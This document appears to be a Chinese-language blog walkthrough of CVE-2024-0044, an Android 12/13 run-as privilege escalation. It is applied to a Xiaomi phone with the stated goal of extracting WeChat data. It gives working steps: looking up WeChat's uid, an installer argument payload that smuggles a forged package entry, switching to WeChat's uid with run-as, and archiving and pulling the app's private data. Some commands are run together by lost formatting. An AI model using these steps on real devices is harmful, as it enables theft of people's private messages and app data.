漏洞描述
CVE-2024-0044是一项高危漏洞,影响Android 12和13版本,该漏洞位于PackageInstallerService.java文件的createSessionInternal函数中。此漏洞允许攻击者执行"run-as any app"攻击,从而在不需要用户交互的情况下实现本地特权升级。问题出现在createSessionInternal函数中的输入验证不当。攻击者可以通过操纵会话创建过程来利用此漏洞,可能会未经授权地访问敏感数据并在受影响设备上执行未经授权的操作。
该漏洞由Meta Security发现:
https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html
Tiny hack总结并分享了概念证明:
有关安全补丁的详细信息,请参阅Android 安全公告:
https://source.android.com/docs/security/bulletin/2024-03-01
poc实践
参考https://github.com/pl4int3xt/cve_2024_0044
目标:提取手机上微信数据。
手机:小米10 HyberOS1.0.5.0TJBCNXM Android13 补丁时间:2024-03-01
1.查看微信uid
利用adb shell命令查看微信的uid
1 | $ pm list package -U |grep com.tencent.mm |
执行后可以得到微信uid 10314

2.推送任意一个app到/data/local/tmp目录下,这里采用参考文章一样的F-Droid.apk
1 | adb push F-Droid.apk /data/local/tmp/F-Droid.apk |
3.执行poc,这里将uid替换为微信的uid,victim这个名称也是可以改的;这里是直接复制下面的代码到adb shell命令框中的
1 2 3 | PAYLOAD="@nullvictim 10314 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk |

4.切换为微信用户
1 | $ run-as victim |

可以看到此时shell已经是微信uid了。
5.获取微信数据
1 2 3 4 5 | umi:/ $ mkdir /data/local/tmp/mm/ umi:/ $ touch /data/local/tmp/mm/mm.tarumi:/ $ chmod -R 0777 /data/local/tmp/mm/umi:/ $ run-as victimumi:/data/user/0 $ tar -cf /data/local/tmp/mm/mm.tar com.tencent.mm |
拉取数据
1 | adb pull /data/local/tmp/mm/mm.tar |